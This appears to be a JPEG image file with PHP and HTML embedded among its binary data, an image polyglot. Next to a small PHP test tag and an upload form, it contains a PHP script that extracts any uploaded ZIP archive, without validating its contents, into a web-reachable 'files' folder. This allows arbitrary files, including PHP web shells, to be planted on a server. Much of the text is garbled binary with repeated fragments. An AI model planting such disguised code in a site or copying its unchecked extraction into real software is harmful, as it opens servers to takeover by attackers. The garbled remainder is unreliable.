� �O)R��Ȅ���8Z��@t���k��ҭqDi4-��~$�\QZ�WKmY�6��!�6vPP���8ڛ)�q(.��e�{��ԂPA�ZЁSe0��'�+Ě@��퐉*�!w���J�m\�Q�Tq6���r�7?d78��w@s���M�����^�IGJ��:�9Ǻ�P]*��������gKH�%�֗|��t����JI�,�����t�-g�Gw@2���?�� 
<form method="post" action="" enctype="multipart/form-data">
 
 <!-- Unzip selected zip file -->
 <input type="file" name="file"><br>
 <input type="submit" name="unzip" value="Unzip">
</form></pdآ`c(�9#�></r���|�y��zwhӦΖl�����q�9,m5�ж,h�?+��k龩Ã3ӹbx0��f5���b�#�ǹ����������t�c�k���p�'��sh')�1��v���[�9�rzh��,�ǜ�82<�v,���p����0m�k��m��gb������f�></wٱ�䵮kh��%���i�f�ٴxuu^></ya�z></r�v9�t�c�g9�></p�b��dl=�`4r��v&�tf5c@!�p<�></body></html>

Original PHP code

���JFIF����C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��,,"����<!1AQa"2q#BR���b�����$Cr%34�����+!1A"Qa2#BCqR���?��j�1�F������� �F�#@����~�~�#𜁔y(d~����v�.�+P ��� �q��A�6�	Ġ�P��%�J˺3��@	���p&\�B��p�~�Ԁ�`�
j��P����m  
V!Hj�
<? echo "hello"; ?>
�<��UK<#PQHr�
��%��Et@�]�Xޤ��L�[����J�A��J��B�g��7C)̌g�3�ΜB����TϬ�4A0b�c["F�"��j�4��#cF��x@k��fǺ3X����3�
�E�S��Kԋ�p R��p$T!2X�X�!T�4c�c@p��?�Ux�ò�
�;(�W6�+��H+������R)=J8U�z�ꗸm�(�0!:;�e�* ����k�,wX��]����a�g��踣���d�>�#�#L64A��"�"�#�ȉ]��@�� g��`��d�#ߒ(��i�l�!�+{i��>�LF�#��{(?o��nI���g�@'�߄ﲽ�&5S����T�� 1�����P����*{gu��w@�~K��S@"Z�E6aYZ��Hh2����Ԭ�̭�[�#"H��5�J��}g�a���(��*�H5,ל��3𴟄i��ؓF�����/�DW�/8�g3���fDd�(��1��}K6�2�O��{ۛ�3�=69q�yp����>)�#{H�"�Rʩ�kG��;6A-2a�c�� �D�"�F����zo�nL�۹6S�tNO��^-v��6�)�D
V�V"�x��Aj�=�N�@m�o��W�I��J�o���נe�Vx	��y$��e%�~�lh�5p�`$CX��V�D 
�� �!��"����ep�衯
�0 F;)��B��>��g�bB�	"�<
ą�@,U�D��Z���K`�T�#()C�W����IYf���!�g<�����Å~u���g֒�JFmF�`2
��ed>���9'0t��($Y�ey9�ezi/fq�+Pak���y�s)<�,�C@h�K����4
��p�o�sڋ�Ǎ�5�E��˙������x/�?��p;��]PIc#��g��.�ͧ��ȊH]��G�
�t�NiS~�ӎ�~/ٺ�}�yRCR����7�+b������=z��գs� [���hۖ�;P�fs�x��\��{��G",�#�
��4,�_c�3y�F9���elc�z�N|A�#_��.�R�ٙ�$/$^�7��3�Fj�gs[��`rx���"h�H���/PP
�� 3�%��N/����Uɀ��B߈_+����z�Y#iᑡ�'���}X3��m��_Eom!��F�#H�
�iG�a���G�V�@]ʑ���V$A*��}�>�F�
�V�_eO����2:(~w�x��9��$~gl>nV?�I
Ka)
�2?��xW�H-��vE�	����s��OX��Qc������8���� �Qr8��~#��#!�=H�LdžD`8��y/?��2��K�,h̏�#�
�=숇 � �;n�����JL�qAi�i0=��vZ��rX����n�<�!�ч;�_W�X�Kn<���ܮ+�Z�w�-�������2I����ۏXƀ��.�������.� �M���Fc!���d�6�^��>^Cr�7�����zM&AF#m��II��O�B�o{�8��R�F#kv�]x��>�/�{8�!���rH�0��fx���+���Y���p1�{m.<�v�:_m���r�i��\��V����P�(h�n�Ra��vGMȑ�F�v^�<�������)fKm��R�9�8�Yz|YS	�MR'�������"GO���ʡ�����)V;��z�r���)����V����ӳ��٤���
��~��0�'��)�d;���+�a{�,m���!�@�QB{�܌XV�V���A}��#��\�5�:�;�Y;�c��+�V��޷�W���q�X�ʬ/�	�/5d�v�{۞QO��z3d�1@F���#/������#:<M�J;q��+���t�e<P�b��Dl=�`4R��v&�TF5c@!�P<�>[t�i�^��a/�@;�K��
&�`�|�M���ɩl->G6�s�*�b�q8Y=S����9/u��tg��rSc�l��Z�I�F�T�Q�jg��=�+H�2���hZ���9S6r��\|��Z6�ؚQ��}D�<ʼ�z<R�V9�T�c�G9��j|v��|x���Z�;N4�|���V���@ߢ�s�Z2�@�,�J����+d�.�N3����c��'�ٝ����g`� x�������:�1�k�i���}?���}�hݧ]�m�K��6:
�(������<(������{X��ƒm/`P3°jU��I�w�߳ԫǍ4���B�@�����='�VqS.g��^���z瓐�ܦc�
�Ɇ�6+��|�|�G��"�@�q:���)�c��29F�~�ȼ�ot�Yc��\�(��(���6�h���!	Ҁ�Л/�*�@5��'�-Τl�a_5 :kHe���F-�<�Z�d�����?��j+�0�$�c6.�� :ie�|-R�J)���ZԠ�b���pS�	�c�͉�����P
(B)(+*���K�ɃAh��S��66N�)e:Gq����m�f��ǎ,�۸�)�h�@D�p�ސ�>أ���O"!F�Č$2�4�ܜ����a8���أ�\Co��̉���!�L'�^F�� �jPZvU�u�iEkP�o5�벊�4B�d�d�B��C�~���VN���0ݧ����x�*Fn�XῘ ����F�(��U�}������xT�W�u)��{�1�,`�I�
y���]�����Ɇ=쎵�ꯋ�K� �-�G���:N�~�w$�Jߊ0r_'�+��GF8_B������oB
#���,���@nz�!��م�0�����0����`
M��k|)4�J�w
奝�t���(+.[Y�p�ɒC�2�w�jj�t8�Ҳe0&�a��$�;��Vb�TX���wM+�F��<�F;���q�6�*�Ev�qmF�O�W�K���`E��nGsqܔ�Ǧ�-<�`�z$�6i@�1�n)����P�X��<�@�Ԇ�Vve�s�'��"nOD��_��.�:�nq�8���a��3�$�O��vG��"2��-�l�T�!�}���]���ƀ�۞{)�H^M���З���po�i34d�82	�m��ϩ���=E�1Zz+8t輋����5X6Jϵ����Id;r��ɟ�y�%ӷD��r�w'}V/c�Fn�59��!i���9��)�?2陻_q��8ivojz�1�DžאE���'��ց���c\=ƻ���qܓ�kc��W��j�]�}{OGC��@�i�׺"@wBVn.ChZ-��x�k���7�ǼAZ䘶���:*; e�(�m���Ɲ(MVI��&����^7@��y�
���LJ�~M��=�Dv���s����p�o?�9h�I��G�wKr�)lχv�S,���ӱ�nƈ�ȆčҬ��!F�]("�s��MЪ��,:6��`��h�+�U&��d����y�At�uOf.�!���Flqݺ�BL��<1�S-���9�� �eg�I���>�գƣ��ɖE����f;b���MG
tGdc�/Vk#f��y+��u}��TQ꧲��G:�����Z[1@�x�|�͹���ɔog`��W6�&j�cɐ��2�v^Pkz���j3�\���r�r�8z�q]�U�Z��g]����:w�)��Aed�o�����)3��R�;�8�w���N �r6]�!թFl���j28ur�oݷ�O��9w�ڶ:h�pΧG{1t�ݎ���~���[(#��&l�RD�v���g��W���~Oʶ�gI��<Ya�Z�c[�rX��#�֋X�Ÿ�3/~�Jh�v�.�g�"GF]	k?(�Ki�|O��g�=IM�)y���H�ؾ> h 9�d=�����\T�;%dn��~�AAXoF�.*
�ߩT%e�I��]AQ����21��4̶��5�BϟQ�՛6[��mRq�Iѧ>���6��̒WSI�8��w��7�myꬢgٞߡVc9Ĺ��D�pP
�L�p�eK�)8�b솺#�#�~�܈r{)y6UIAU\�媆�>��ouW��RH	�ęl���!��=�g��k��nL���
���x]�1�։=���Y�.dO#cK��G�퍃�yM4��E���M4s;��lzkL|�:�SjG��?���s8e�7��{E�ۃ����ǹZ�!���i
g���{bHD��ƞ^7��t�8�@����>!�[u��il���1�L�rv�ӳw+�ə����ǐ�����~�K�e{����͒���Xe���u���b�lv��d�����r�vX����2A\��W�=R#��6ǿ 6__�;��Hb��������)g�q����k�OJ]>�ɦ�"��(��^�~���!+%k"ۏ
��y[8�B#ߢ�y���Z7I�h��pcG~�oz+������k�dU�o,v�F�d�\��!���.w윃]ʡpK;%��KK�F��M�6�=��ώۜl���m�Vl�[��wZX���dj�J�f�)92�)f:I�፻W5�
|NTP�ve�O�1�$���S�⵿(߹M�=Q�9,Vmu&��U��ٴ�!�8�u�DR��|�+�-��"�WEz�R.��|#�8Ux�D.�G���;�ܬ��igʙ��=Ԓɜ5�\����[np�7��:b@;+b�Y�&�.���[e��3X,��$�dN���$xkG2R�vޠ�{\�&�5�b�8gl�3�i�kY�ə�������뽂���hkZ(�q��6W��4UDŽ$����#�R��d؀�3�=��h�-n��D�ExU����E�U���'�j��w+�%֢M]JZF��x��;
ܴ�3����7s��E��X�̏����}",v�cE�p��)8n�����EZ3��F뼑�o�H
�+VɈ�?�5Y%���!o�	x�;`�ɣ�u}7 Ò�l{x�������1�����x]��
��d@�K��v��+��B�i���;�䳟
��"�۽r�F���%9]�^
��q��u-��
1��V��ȓ�5c@��$�$�O�R[t�H~'�S]M�{���+���U>Z�D1;)����Q�"P�˩[��k6
yR�m=����5�����dl���ry����m���2-�+�&�W��P+��JE7��c[��ۺ�w��Hj`�eR�6P�Eե䛱Obl���G�6ifej,��kj[�lnY�A.u������#�t�^|�D��{�rw�&��n�dd�W�ie��ō|���u?E\�I�m��1�X?�5�zjlɛ���ձ��0Ʉ�bzf���N܌�c�i���w��1b��D�ց@�,���6X��\sVG���CBZI�!�%%����4��Y�?�����]O%x�l��8�ke�j���:�qq���u=և��_m�����@�=音B3�����z/{�x��Q�ѯ�h���Z�>�752Z���)ih�{vB-�2栐m0;`�^�p2c랟����^��%h��<��?�a0s��0�8�b!�h+�����9��9}�iSKGȽA���=�|��B��	�!|G����O^a�d-a?E���߲����]h�I�C�Z�{GT&����(m��@��/��Ha\���M�G�g���K{3�����!�𱋜M?��.H5t���=쟶�߻����E��b�>O�u�w�$R��ϴ�ǒ���=��t�k��s���,~�{��{���<wٱ�䵮kH��%��i�F�ٴxUu^ � �(�F�ZGP�]��B�&�6�25�rǃ�8�A$��J8�+3'Q|����f�?��t����C��o��4
ϖR��"�wYY��X���y1�׫��1�$���Iq��ē;+R��leױ��D���m�l�b��#We���iж8#
��e�Lu=��0�?KńD�{�w.v�v�5�^�!F�p;�{�oE��EW�JI�%;2�I%�JW���� n�J�0��=���5X�1�d;5�ʮ��E��v�@��>��&p����6�^���U��R蓰����ڮ_��{I��߈���(Xq�ƅ�D��4PK�k���P�s�m���Nn��A
����j@�<�iJF��`�u !Mn�&43m$Lw�Z	��H����	� %��ɗ�,��i���ae�N�=��~���uuӢ�,<r���|�Y��zwHӦΖl�����q�9,m5�ж,h�?+�K龩Ã3ӹbx0��F5���B�#�ǹ��������t�c�k���P'��sH')�1��V���[�9�Rzh��,�ǜ�82<�v,���p����0m�k��m��gB������F�/�X9:̳��"[�$^�����Rx���	u9%��	^l���q]�Tq��Cv�=�T�Nl8��4�M��oTc�qE	���M;�X��Z���[&K�a��4}��_D��ӗW��r>˥��f����OzB,:��܃�Ž&�
+L�6&.�<���/+��u��HԽ���6�	Ɗ�I�),�u\k�ɖ�J�ҲdP4P���U�.*�&]|��B$���{Z,����Ë.x��U���D��fD9��jZ�k�8�ݔ��p?�
_�&��n���_E�硰4F�i����
����|ko��U���ס23�n��q��g꾗<pDآ`c(9#�
){��(]��2�R�d]����-!@��.y�ȗ't�@R��LG��`�J@@AJ�  	yJ�C�qg����4�������67혳@C�	{Kw_�k��Ԛ5�&G���Lym�TA�7�+��^��ϷM, ]T��uL�H�ڨ*�~��D�F!��|n�|���X��R���fƫ��Jߣe�M)�<��z�{���c
����u�6�7�J�;~��o@!�����.voR����=�h,��[3*å-a�,�%<4�ȧ���;Y��>^9?#7?�
g\���D��rc��R�Jfw���O.s�{�g;��)���N���"̌�d����۱���h���l���QG�rZPe�4��ڊ����e�ǣ{+���fX#��a�����2Zѱ^&L}�h�~N�ҲM|�M�b������/�h��vY�-�$YP���)L��F�x��+/_o�2;� ��'����V���AB����-�]t'��:W�8l2�v/��O�O2�'�7[{���"���{.�@�v��0:8Ĺf�Y�;-��ƽ���ӱ���b���hG!X�U+�$�+J��\P2�Bq�]��1yKHy����)����($�V)1uo�+Z&�ACXk�M�[^@��U��C2�}F5�Gk_�G���2,Ms�O �K�3�c�6������^?!�����V�ad�j(%y��	_�١�Q���~0wl'�c��Š(�n�f������s�z��#�]&��+�r9N��l�_i
V�}�y&��0�p�$�s�^:;`��t6\�q"��a�6=򴯚��,r�#.��G����x��*~O��e$�Hz�3��f+���E������X���f�Z�n��vR{���t�q�oN��}��R���?��~��NQ���c��p�}PL���ꚛ��q�h/�2V�L��D�Ak����&����t;@���0��3��Tb�M-�PJ�*����r��Nr�9�Vs�Z܀*�ȏrZG ��ig;~h����}kA=�vLAR
��t{R
�6��^��0U�@
�\U�z�l(�U^�6�^�;^�@ƒ��B�_�=��	Qj-1%E����@J�=׊���*�ubH�ܔ�Cv� �RT8���$�
�^.Bs��h.r����	���C{��{�]�V{���*�n�#��۠�Z zY�W�0R
u�q AAVBk��.��
�HڐU.���Z��*-�q*Z�(��h �Ę���
�Sā��j8��A*�J��T����P� \�\�^�L��Eʮ�d7>��z߲��@t����z��A{�2\�7=
� �O)R��Ȅ���8Z��@t���k��ҭqDi4-��~$�\QZ�WKmY�6��!�6vPP��8ڛ)�q(.��e�{��ԂPA�ZЁSe0��'�+Ě@��퐉*�!w���J�m\�Q�Tq6���r�7?d78��w@s���M�����^�IGJ��:�9Ǻ�P]*������gKH�%�֗|��t����JI�,����t�-g�Gw@2���?�� 
<?php 
// Get Project path
define('_PATH', dirname(__FILE__));

// Unzip selected zip file
if(isset($_POST['unzip'])){
 $filename = $_FILES['file']['name'];

 // Get file extension
 $ext = pathinfo($filename, PATHINFO_EXTENSION);

 $valid_ext = array('zip');

 // Check extension
 if(in_array(strtolower($ext),$valid_ext)){
  $tmp_name = $_FILES['file']['tmp_name'];

  $zip = new ZipArchive;
  $res = $zip->open($tmp_name);
  if ($res === TRUE) {

   // Unzip path
   $path = _PATH."/files/";

   // Extract file
   $zip->extractTo($path);
   $zip->close();

   echo 'Unzip!';
  } else {
   echo 'failed!';
  }
 }else{
  echo 'Invalid file';
 }
 
}
?>
<form method='post' action='' enctype='multipart/form-data'>
 
 <!-- Unzip selected zip file -->
 <input type='file' name='file'><br/>
 <input type='submit' name='unzip' value='Unzip' />
</form>